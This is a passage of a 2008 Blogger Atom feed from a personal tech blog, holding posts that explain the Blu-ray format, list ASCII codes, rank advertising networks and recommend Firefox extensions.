href='http://www.tech2.com/media/images/2008/Feb/img_50021_discphoot.jpg'&gt;&lt;img border='0' alt='' src='http://www.tech2.com/media/images/2008/Feb/img_50021_discphoot_450x360.jpg'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;The&lt;br /&gt;abbreviation is BD, and the cause for having such a name is due to the&lt;br /&gt;type of laser used: a blue violet laser of lesser wavelength, 405 nm.&lt;br /&gt;This facilitates a more accurate focus, and thus more info can be&lt;br /&gt;written and read from the same space. Another point is that the&lt;br /&gt;numerical aperture is made larger: 0.85 from 0.60 in DVDs. This&lt;br /&gt;facilitates a smaller diameter of the laser point (more accurate),&lt;br /&gt;allowing more info to be assimilated on the discs. That explains why BD&lt;br /&gt;discs are of the same diameter and thickness (120mm and 1.2 mm&lt;br /&gt;respectively) as normal discs, though the storage capacity is 25GB for&lt;br /&gt;single layer and 50GB for dual layer.&lt;/p&gt;&lt;p&gt;One cool thing of BDs is&lt;br /&gt;that they have a harder coating; the data is read off this itself, and&lt;br /&gt;thus they claim to be very resistant to dirt and other stuff. But this&lt;br /&gt;we will have to look at more closely before we commit ourselves...&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What Blu&lt;/strong&gt;&lt;br/&gt;BDs store full HD movies, in the form of&lt;br /&gt;BD-ROMs, just like DVD-ROMs. There are BD-Rs and BD-REs (rewritable)&lt;br /&gt;too, for burning data and stuff. The video formats read by players and&lt;br /&gt;stored on BDs are MPEG-2, MPEG-4 AVC (H.264). For audio there are quite&lt;br /&gt;a few formats: Linear PCM, Dolby Digital, Dolby Digital Plus, Dolby&lt;br /&gt;TrueHD, DTS Digital Surround, DTS-HD. Data transfer rate is 36 Mbps at&lt;br /&gt;1x speed; this is specified by the BDA. &lt;/p&gt;&lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_50021_discphoot.jpg'&gt;&lt;br/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_50031_insida.jpg'&gt;&lt;img border='0' alt='' src='http://www.tech2.com/media/images/2008/Feb/img_50031_insida_450x360.jpg'/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align='center'&gt;&lt;em&gt;Image sourced from amazon.com&lt;/em&gt;&lt;br/&gt;&lt;/div&gt;&lt;p&gt;Interactivity&lt;br /&gt;has also been improved, with the addition of BD-J, or Blu-ray Disc&lt;br /&gt;Java, which has killer stuff like picture in picture, access to the net&lt;br /&gt;and more! On a serious note, copy protection standards included in BD&lt;br /&gt;are AACS (Advanced Access Content System), BD+, ROM-Mark and the&lt;br /&gt;familiar HDCP. But There are claims that AACS and BD+ have already been&lt;br /&gt;cracked... maybe that’s why so many high def movie are already&lt;br /&gt;available on the net.&lt;/p&gt;&lt;p&gt;Allow me to add a note on Blu-ray player&lt;br /&gt;profiles, as when you buy your player this will become important. There&lt;br /&gt;is BD 1.0, BD 1.1 and BD live 2.0. Currently profile 1.1 is being&lt;br /&gt;released, which requires 256 Mb of local sorage, extra audio and video&lt;br /&gt;decoders, but no guarantee for web-enhanced content. BD 2.0, on the&lt;br /&gt;other hand, has this.&lt;/p&gt;&lt;p&gt;Remember regions? BD has them too, though only three this time: A (green), B (orange) and C (red). India is in region C.&lt;/p&gt;&lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_50041_bd_regionmap_small-13451.gif'&gt;&lt;img border='0' alt='' src='http://www.tech2.com/media/images/2008/Feb/img_50041_bd_regionmap_small-13451_450x360.gif'/&gt;&lt;/a&gt;&lt;/div&gt; &lt;div align='center'&gt;&lt;em&gt;image sourced from www.blu-raydisc.com&lt;/em&gt;&lt;br/&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Who Blu&lt;/strong&gt;&lt;br/&gt;Enough&lt;br /&gt;technical stuff; lets see what movies are coming our way, and who is&lt;br /&gt;supporting and producing Blu-ray. Sony is naturally one of the&lt;br /&gt;pioneers, and most Hollywood studios supported it all along: Warner,&lt;br /&gt;Paramount, Fox, Disney, Sony, MGM, and Lionsgate. Universal was in the&lt;br /&gt;HD DVD camp, though now it had better switch!&lt;/p&gt;&lt;p&gt;When it comes to&lt;br /&gt;hardware, the list is long. These are a few of the major names: Sony,&lt;br /&gt;Panasonic, Philips, Samsung, Pioneer, Sharp, JVC, Hitachi, Mitsubishi,&lt;br /&gt;TDK, Thomson, LG, Apple, HP, and Dell. Microsoft supported HD DVD,&lt;br /&gt;though now it had better switch as well!&lt;/p&gt;&lt;p&gt;Famous players available&lt;br /&gt;in India include the PS3 (duh), apart from Sony's BDP-S300 and BDP-S1E.&lt;br /&gt;Then we have LG’s BD100, Samsung’s BD-P1400 and BD-P1000&lt;br /&gt;(manufacturing has stopped already, I don’t think they sold any&lt;br /&gt;here). &lt;/p&gt;&lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_50051_sony-bdp-s13-blu-ray-player.jpg'&gt;&lt;br/&gt;&lt;/a&gt;&lt;/div&gt; &lt;div align='center'&gt;&lt;a target='_blank' href='http://www.tech2.com/media/images/2008/Feb/img_50071_sony-bdp-s13-blu-ray-player.jpg'&gt;&lt;img border='0' alt='' src='http://www.tech2.com/media/images/2008/Feb/img_50071_sony-bdp-s13-blu-ray-player_450x360.jpg'/&gt;&lt;/a&gt;&lt;/div&gt; &lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br/&gt;I&lt;br /&gt;guess its time for us to accept the format and enjoy HD content. Prices&lt;br /&gt;of individual discs have not been decided, but will initially tend to&lt;br /&gt;be a bit pricey. Though we can be sure that prices will fall sooner or&lt;br /&gt;later, as it always does in the case of any kind of electronic devices.&lt;p&gt; &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6291315354439261221?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6291315354439261221/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6291315354439261221' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6291315354439261221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6291315354439261221'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/all-about-blu-ray.html' title='All About Blu-ray'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3513998415320800239</id><published>2008-02-24T00:47:00.001-08:00</published><updated>2008-02-24T04:43:49.011-08:00</updated><title type='text'>ASCII Codes</title><content type='html'>&lt;span xmlns=""&gt;&lt;p&gt;&lt;span style=";font-family:Times New Roman;font-size:12;"  &gt;ASCII code stands for American Standard Code for information interchange. It is a seven bit code. The seven bits are formed, based on a standard binary progression. The first three MSB bits represent whether a number, letter or character is coded. The last four bits represent the actual code of number, letter or character. Totally it contains 128 combinations of characters. 26 combinations represent letters in uppercase and another 26 for representing lowercase letters. 10 combinations are used for numerals. The remaining combinations are used to represent functions, punctuation marks and various special characters.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-family:comic sans ms;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style=";font-family:courier;font-size:100%;"  &gt; &lt;/span&gt;&lt;/span&gt;&lt;pre style="color: rgb(255, 255, 255);"&gt;&lt;span style=";font-family:comic sans ms;font-size:85%;"  &gt;&lt;span style=";font-family:courier;font-size:100%;"  &gt;       Decimal   Octal   Hex    Binary     Value&lt;br /&gt;     -------   -----   ---    ------     -----&lt;br /&gt;       000      000    000   00000000      NUL    (Null char.)&lt;br /&gt;       001      001    001   00000001      SOH    (Start of Header)&lt;br /&gt;       002      002    002   00000010      STX    (Start of Text)&lt;br /&gt;       003      003    003   00000011      ETX    (End of Text)&lt;br /&gt;       004      004    004   00000100      EOT    (End of Transmission)&lt;br /&gt;       005      005    005   00000101      ENQ    (Enquiry)&lt;br /&gt;       006      006    006   00000110      ACK    (Acknowledgment)&lt;br /&gt;       007      007    007   00000111      BEL    (Bell)&lt;br /&gt;       008      010    008   00001000       BS    (Backspace)&lt;br /&gt;       009      011    009   00001001       HT    (Horizontal Tab)&lt;br /&gt;       010      012    00A   00001010       LF    (Line Feed)&lt;br /&gt;       011      013    00B   00001011       VT    (Vertical Tab)&lt;br /&gt;       012      014    00C   00001100       FF    (Form Feed)&lt;br /&gt;       013      015    00D   00001101       CR    (Carriage Return)&lt;br /&gt;       014      016    00E   00001110       SO    (Shift Out)&lt;br /&gt;       015      017    00F   00001111       SI    (Shift In)&lt;br /&gt;       016      020    010   00010000      DLE    (Data Link Escape)&lt;br /&gt;       017      021    011   00010001      DC1 (XON) (Device Control 1)&lt;br /&gt;       018      022    012   00010010      DC2       (Device Control 2)&lt;br /&gt;       019      023    013   00010011      DC3 (XOFF)(Device Control 3)&lt;br /&gt;       020      024    014   00010100      DC4       (Device Control 4)&lt;br /&gt;       021      025    015   00010101      NAK    (Negative Acknowledgement)&lt;br /&gt;       022      026    016   00010110      SYN    (Synchronous Idle)&lt;br /&gt;       023      027    017   00010111      ETB    (End of Trans. Block)&lt;br /&gt;       024      030    018   00011000      CAN    (Cancel)&lt;br /&gt;       025      031    019   00011001       EM    (End of Medium)&lt;br /&gt;       026      032    01A   00011010      SUB    (Substitute)&lt;br /&gt;       027      033    01B   00011011      ESC    (Escape)&lt;br /&gt;       028      034    01C   00011100       FS    (File Separator)&lt;br /&gt;       029      035    01D   00011101       GS    (Group Separator)&lt;br /&gt;       030      036    01E   00011110       RS    (Request to Send)(Record Separator)&lt;br /&gt;       031      037    01F   00011111       US    (Unit Separator)&lt;br /&gt;       032      040    020   00100000       SP    (Space)&lt;br /&gt;       033      041    021   00100001        !    (exclamation mark)&lt;br /&gt;       034      042    022   00100010        "    (double quote)&lt;br /&gt;       035      043    023   00100011        #    (number sign)&lt;br /&gt;       036      044    024   00100100        $    (dollar sign)&lt;br /&gt;       037      045    025   00100101        %    (percent)&lt;br /&gt;       038      046    026   00100110        &amp;amp;    (ampersand)&lt;br /&gt;       039      047    027   00100111        '    (single quote)&lt;br /&gt;       040      050    028   00101000        (    (left/opening parenthesis)&lt;br /&gt;       041      051    029   00101001        )    (right/closing parenthesis)&lt;br /&gt;       042      052    02A   00101010        *    (asterisk)&lt;br /&gt;       043      053    02B   00101011        +    (plus)&lt;br /&gt;       044      054    02C   00101100        ,    (comma)&lt;br /&gt;       045      055    02D   00101101        -    (minus or dash)&lt;br /&gt;       046      056    02E   00101110        .    (dot)&lt;br /&gt;       047      057    02F   00101111        /    (forward slash)&lt;br /&gt;       048      060    030   00110000        0&lt;br /&gt;       049      061    031   00110001        1&lt;br /&gt;       050      062    032   00110010        2&lt;br /&gt;       051      063    033   00110011        3&lt;br /&gt;       052      064    034   00110100        4&lt;br /&gt;       053      065    035   00110101        5&lt;br /&gt;       054      066    036   00110110        6&lt;br /&gt;       055      067    037   00110111        7&lt;br /&gt;       056      070    038   00111000        8&lt;br /&gt;       057      071    039   00111001        9&lt;br /&gt;       058      072    03A   00111010        :    (colon)&lt;br /&gt;       059      073    03B   00111011        ;    (semi-colon)&lt;br /&gt;       060      074    03C   00111100        &lt;    (less than)         061      075    03D   00111101        =    (equal sign)         062      076    03E   00111110        &gt;    (greater than)&lt;br /&gt;       063      077    03F   00111111        ?    (question mark)&lt;br /&gt;       064      100    040   01000000        @    (AT symbol)&lt;br /&gt;       065      101    041   01000001        A&lt;br /&gt;       066      102    042   01000010        B&lt;br /&gt;       067      103    043   01000011        C&lt;br /&gt;       068      104    044   01000100        D&lt;br /&gt;       069      105    045   01000101        E&lt;br /&gt;       070      106    046   01000110        F&lt;br /&gt;       071      107    047   01000111        G&lt;br /&gt;       072      110    048   01001000        H&lt;br /&gt;       073      111    049   01001001        I&lt;br /&gt;       074      112    04A   01001010        J&lt;br /&gt;       075      113    04B   01001011        K&lt;br /&gt;       076      114    04C   01001100        L&lt;br /&gt;       077      115    04D   01001101        M&lt;br /&gt;       078      116    04E   01001110        N&lt;br /&gt;       079      117    04F   01001111        O&lt;br /&gt;       080      120    050   01010000        P&lt;br /&gt;       081      121    051   01010001        Q&lt;br /&gt;       082      122    052   01010010        R&lt;br /&gt;       083      123    053   01010011        S&lt;br /&gt;       084      124    054   01010100        T&lt;br /&gt;       085      125    055   01010101        U&lt;br /&gt;       086      126    056   01010110        V&lt;br /&gt;       087      127    057   01010111        W&lt;br /&gt;       088      130    058   01011000        X&lt;br /&gt;       089      131    059   01011001        Y&lt;br /&gt;       090      132    05A   01011010        Z&lt;br /&gt;       091      133    05B   01011011        [    (left/opening bracket)&lt;br /&gt;       092      134    05C   01011100        \    (back slash)&lt;br /&gt;       093      135    05D   01011101        ]    (right/closing bracket)&lt;br /&gt;       094      136    05E   01011110        ^    (caret/circumflex)&lt;br /&gt;       095      137    05F   01011111        _    (underscore)&lt;br /&gt;       096      140    060   01100000        `&lt;br /&gt;       097      141    061   01100001        a&lt;br /&gt;       098      142    062   01100010        b&lt;br /&gt;       099      143    063   01100011        c&lt;br /&gt;       100      144    064   01100100        d&lt;br /&gt;       101      145    065   01100101        e&lt;br /&gt;       102      146    066   01100110        f&lt;br /&gt;       103      147    067   01100111        g&lt;br /&gt;       104      150    068   01101000        h&lt;br /&gt;       105      151    069   01101001        i&lt;br /&gt;       106      152    06A   01101010        j&lt;br /&gt;       107      153    06B   01101011        k&lt;br /&gt;       108      154    06C   01101100        l&lt;br /&gt;       109      155    06D   01101101        m&lt;br /&gt;       110      156    06E   01101110        n&lt;br /&gt;       111      157    06F   01101111        o&lt;br /&gt;       112      160    070   01110000        p&lt;br /&gt;       113      161    071   01110001        q&lt;br /&gt;       114      162    072   01110010        r&lt;br /&gt;       115      163    073   01110011        s&lt;br /&gt;       116      164    074   01110100        t&lt;br /&gt;       117      165    075   01110101        u&lt;br /&gt;       118      166    076   01110110        v&lt;br /&gt;       119      167    077   01110111        w&lt;br /&gt;       120      170    078   01111000        x&lt;br /&gt;       121      171    079   01111001        y&lt;br /&gt;       122      172    07A   01111010        z&lt;br /&gt;       123      173    07B   01111011        {    (left/opening brace)&lt;br /&gt;       124      174    07C   01111100        |    (vertical bar)&lt;br /&gt;       125      175    07D   01111101        }    (right/closing brace)&lt;br /&gt;       126      176    07E   01111110        ~    (tilde)&lt;br /&gt;       127      177    07F   01111111      DEL    (delete)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span xmlns=""&gt;&lt;p style="color: rgb(255, 255, 255);"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt;&lt;p style="color: rgb(255, 255, 255);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=";font-family:Courier New;font-size:12;color:black;"   &gt;&lt;span style="color: rgb(255, 255, 255);"&gt;To represent the letter 'A', the code '100 0001' is used. Similarly, to represent 'B', the code '100 0010' is used. In both cases the first 3 bits are same. But the remaining four bits change according to a standard progressive value, i.e. it varies from 0000 to 1111 respectively. Similarly the first three bits also follow a standard progression from 000 to 111. Number '2' is coded as '011 0010' and the letter B is coded as '100 0010'.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3513998415320800239?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3513998415320800239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3513998415320800239' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3513998415320800239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3513998415320800239'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/ascii-codes.html' title='ASCII Codes'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-1111651585340108891</id><published>2008-02-23T09:09:00.000-08:00</published><updated>2008-02-23T10:07:26.054-08:00</updated><title type='text'>Top Advertising Networks</title><content type='html'>Here are what I consider is the top advertising networks&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;1. &lt;a href="https://www.google.com/adsense/"&gt;Google Adsense&lt;/a&gt;&lt;/span&gt; : The most popular and trusted ad network. It has very strict rules. But it can be used for very small as well as big sites. It give the highest payout. It wont approve any site with illegal content. Almost everything after registration is automated including banning. There are many who have been banned for one reason or the other. Google more prominence support to advertisers than the publishers. Publishers have to wait till you reach 100$ of earning for payout.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;2. &lt;a href="http://www.adbrite.com"&gt;Adbrite&lt;/a&gt;&lt;/span&gt; : Has large number of sites in the network. Profit for advertisers than publishers. They show ads irreverent to the content. But adbrite has very less boundaries compared to adsense.Thats why adbrite became popular.   It good for sites with high traffic. Adbrite supports any sites. You can decide the  minimum amount for payout.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;3. &lt;a href="http://www.bidvertiser.com/"&gt;Bidvertiser&lt;/a&gt;&lt;/span&gt; : It is good for low traffic websites. Minimum payout is 5$. A somewhat different approach to pay-per-click advertising is offered by an entity called Bidvertiser. Although it is difficult to fit Bidvertiser into one of the neat little slots of types of search engine, it does offer another way to participate in pay-per-click advertising where you, the advertiser, have more control than normal in where your ads appear.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;4. &lt;/span&gt;&lt;b style="font-weight: bold; color: rgb(153, 0, 0);"&gt;&lt;a href="http://www.burstmedia.com/"&gt;Burst Network&lt;/a&gt; :   &lt;/b&gt;It is reviewed as a good ad network for small and medium sized sites. It has good rates, very good campaigns and it is able to filter any bad ones. Their main disadvantage is that they are very slow to paying.&lt;br /&gt;&lt;br /&gt;&lt;b style="font-weight: bold; color: rgb(153, 0, 0);"&gt;5. &lt;/b&gt;&lt;b style="color: rgb(153, 0, 0);"&gt;&lt;a href="http://www.tribalfusion.com/"&gt;Tribal Fusion&lt;/a&gt; : &lt;/b&gt;iIt is considered by its users as an excellent choice, with good rates and good targeted campaigns. Their only "problem" is that they are very selective towards the web pages that appear. It needs to have serious content or they will dismiss it from being a part of their distribution network.&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(153, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;6. &lt;/b&gt;&lt;b&gt;&lt;a href="http://www.valueclickmedia.com/"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;Fast click&lt;/span&gt;&lt;/a&gt;&lt;/b&gt; : It is considered a good company, with good support and pays well. They, like Tribal Fusion, have a very strict code, and make continuous auditions.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;7. &lt;a href="http://www.casalemedia.com/"&gt;Casale&lt;/a&gt;&lt;/span&gt; : &lt;/b&gt;Casale is a new player in this market, and a very competitive one. They have the best rates available, they hardly display "you've won" or "you are in danger" ads and give you instantaneous information. Their only disadvantage is that you require a traffic volume of at least 10,000 visits per month.&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.popuptraffic.com/"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-1111651585340108891?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/1111651585340108891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=1111651585340108891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1111651585340108891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1111651585340108891'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/top-advertising-networks.html' title='Top Advertising Networks'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6792991304966045644</id><published>2008-02-23T08:35:00.000-08:00</published><updated>2008-02-24T06:38:38.880-08:00</updated><title type='text'>Some cool add-ons for your browser</title><content type='html'>&lt;h1&gt;The best firefox extensions list:&lt;/h1&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Blogging:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1407/"&gt;Clipmarks&lt;/a&gt; - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/77/"&gt;Sage&lt;/a&gt; - Sage is a lightweight RSS and Atom feed aggregator extension for Mozilla Firefox. It's got a lot of what you need and not much of what you don't.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1508/"&gt;Jeteye&lt;/a&gt; - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1730/"&gt;Performancing&lt;/a&gt; - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/864/"&gt;TorrentBar&lt;/a&gt; - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/424/"&gt;Wizz RSS News Reader&lt;/a&gt; - A fairly good RSS and Atom news reader.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/539/"&gt;MeasureIt&lt;/a&gt; - Draw out a ruler to get the pixel width and height of any elements on a webpage.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4530/"&gt;Show MyIP&lt;/a&gt; - Displays your current IP address. If you have a static IP (Internet Protocol) address, this number will stay the same each time you visit. If you have a dynamic IP, the number will change each time you log on to the internet (or your ISP assigns a new IP).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/629/"&gt;NewsFox&lt;/a&gt; - RSS/Atom News Reader.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Developer Tools:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/684/"&gt;FireFTP&lt;/a&gt; - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1419/"&gt;IE Tab&lt;/a&gt; - IE Tab - an extension from Taiwan, features: Embedding Internet Explorer in tabs of Mozilla/Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/60/"&gt;Web Developer&lt;/a&gt; - Adds a menu and a toolbar with various web developer tools.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1843/"&gt;Firebug&lt;/a&gt; - Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/748/"&gt;Greasemonkey&lt;/a&gt; - Allows you to customize the way a webpage displays using small bits of JavaScript.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1122/"&gt;Tab Mix Plus&lt;/a&gt; - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/139/"&gt;Image Zoom&lt;/a&gt; - Easily zoom in, zoom out, fit image to screen or set custom zoom on individual images within a web page. All this can be done by using the context menu or a combination of mouse buttons and scroll wheel. Handy to see the finer details of smaller pics or to make very large pics fit within your screen.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/271/"&gt;ColorZilla&lt;/a&gt; - Advanced Eyedropper, ColorPicker, Page Zoomer and other colorful goodies.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/35/"&gt;IE View&lt;/a&gt; - Lets you load pages in IE with a single right-click, or mark certain sites to *always* load in IE. Useful for incompatible pages, or cross-browser testing.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3863/"&gt;iMacros&lt;/a&gt; - Automate your web browser. Record and replay repetitious work.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Editing and Forms:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1730/"&gt;Performancing&lt;/a&gt; - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2127/"&gt;Gmail Skins&lt;/a&gt; - Skins and other extra features for Gmail.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/673/"&gt;InFormEnter&lt;/a&gt; - InFormEnter adds a small, clickable icon next to every input field in a web form, from where you can select the item to be inserted - no typing required. You can configure it to display your frequently used information such as name, email, address and whatever else you want to be available from the form menu.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4571/"&gt;Snipshot&lt;/a&gt; - Edit any picture on the web with one right-click. The picture will be brought into the online image editor Snipshot where you can crop, resize, rotate or recolor it, then save it into a variety of formats (JPG, GIF, PNG, PDF) or to Flickr or a free image host. For faster workflow, you can optionally enhance the image as it enters Snipshot or resize it to fit a set of custom dimensions.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2076/"&gt;JSView&lt;/a&gt; - All browsers include a "View Source" option, but none of them offer the ability to view the source code of external files. Most websites store their javascripts and style sheets in external files and then link to them within a web page's source code. Previously if you wanted to view the source code of an external javascript/css you would have to manually look through the source code to find the url and then type that into your browser.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2848/"&gt;Password Exporter&lt;/a&gt; - This extension allows you to export and import your saved passwords and rejected sites between computers. Your passwords will be exported to an XML or CSV file and can be encrypted.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/750/"&gt;AI Roboform Toolbar&lt;/a&gt; - Add RoboForm Toolbar to Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3262/"&gt;DejaClick&lt;/a&gt; - DéjàClick is a web recorder and Super Bookmark utility designed exclusively for Firefox. You can record and bookmark your browser 